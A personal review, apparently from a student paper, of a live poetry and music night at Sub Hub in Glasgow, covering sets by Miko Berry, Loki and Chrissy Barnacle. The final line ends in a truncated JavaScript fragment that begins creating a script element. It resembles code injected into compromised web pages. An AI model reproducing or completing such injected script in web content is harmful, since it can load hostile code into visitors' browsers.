By Kerri Mackenzie, Arts Editor
Despite watching slam poetry/spoken word videos on Youtube, I have to admit that I have never been to a live poetry event. It was only natural that I was a bit apprehensive before going to the Poetry and Music event at Sub Hub – I was by myself and everyone attending was probably of the really cool hipster type. But I couldn’t have picked a better event to dip my toe into the world of live poetry.
First of all the Sub Hub is incredibly cool without being ridiculously pretentious. The space was above the Argyle Arcade and Sub Hub had decorated it with crates and wooden tables and a pick-and-mix of wooden chairs and block and plastic picnic seats and the white walls were decorated with graffiti. The idea behind Sub Hub is pretty cool; it comes from the people behind Sub club and was a space for music and creativity. Most of the events were lectures on various DJs or live sets which isn’t really my thing so I was reasonably pleased when Sub Hub put on a poetry event. The Hub is only open until the end of April so I didn’t want to miss out on something that I thought was an amazing addition to the already thriving arts and music scene in Glasgow.
The Hub itself was really cool without being that annoyingly self-aware type of cool and the atmosphere was really chilled and even though I was by myself it felt really comfortable. The event was hosted by Sam Small who did some of his own poems as well as comparing. There were several really cool poets and singers but I don’t want to write a 1000 word article so I’m only going to mention my top 3:
- Miko Berry.
First of all, he was dressed in a bear onesie so I knew it was going to be good. Brown wasn’t on the original listing for the night and only performed as a favour to Sam. This was an absolute treat because he is quite famous in the slam poetry world and has won several competitions. He did a few poems but my favourite one, the one which left me thinking about it for days after was one about bottled water. At first it started as a joke poem; his friend bet that he couldn’t write a poem about bottled water and it starts off quite jokey and the audience laughs but then shit gets real. Brown starts hammering in to the crappy capitalist consumer-driven society we live in where Nestle can buy two billing gallons of water for a couple of dollars then sell it back at £1.50 a bottle (500ml). The poem really made me think about the real impact of drinking bottled water, where the water comes from and where the money goes. Safe to say I’ll be taking tap from now on.
2.Loki (aka Darren McGarvey).
To start with Loki came across as a bit of a dick. He made some sexist jokes and came across as an egotistical arse. But then he stopped the comedy and started the poetry and all my preconceptions vanished. The comedy bit at the start was all just an act so that the hard-hitting class based poetry would be even more real. He spoke about coming from a working class background and about the middle-class west end wankers not knowing a thing about what it was like to come from nothing. He made an Owen Jones joke and it went down like a lead-balloon – clearly not the right demographic. But what he said was filled with passion, anger and a real hunger for change, for real socialism and a better Scotland. His bitterness at the referendum result added heaviness to his words. Despite his sexist, anti-feminist remarks at the start his finishing words were all the more significant. He spoke about privilege and how hard it was to recognise your own; a working class man can recognise David Cameron’s privilege but he is unable to recognise his own privilege over the woman sitting next to him.
- Chrissy Barnacle.
This was one of the musical acts of the night. Chrissy Barnacle is an incredibly talented, queer singer-songwriter. To describe her as ‘quirky’ would be putting it lightly. Her first song was about sneaking out at night to meet a werewolf and she encouraged the audience to howl along. It was all a bit funny and surreal but then I had a wee moment and realised that it wasn’t about a werewolf at all, it was about her sneaking out to meet girls. She spoke in-between her songs and she was incredibly funny and a lot of her stories were very relatable such as the dream of going to uni and completely reinventing yourself but the reality not quite living up to your expectations. I cannot emphasise enough how talented this lady is and how excited I am to go and see her again.
So to summarise; spoken word and slam poetry is pretty cool and I can’t wait to get out there and explore the Glasgow scene which, I have been informed by numerous sources, is currently thriving.var d=document;var s=d.createElement(‘script’);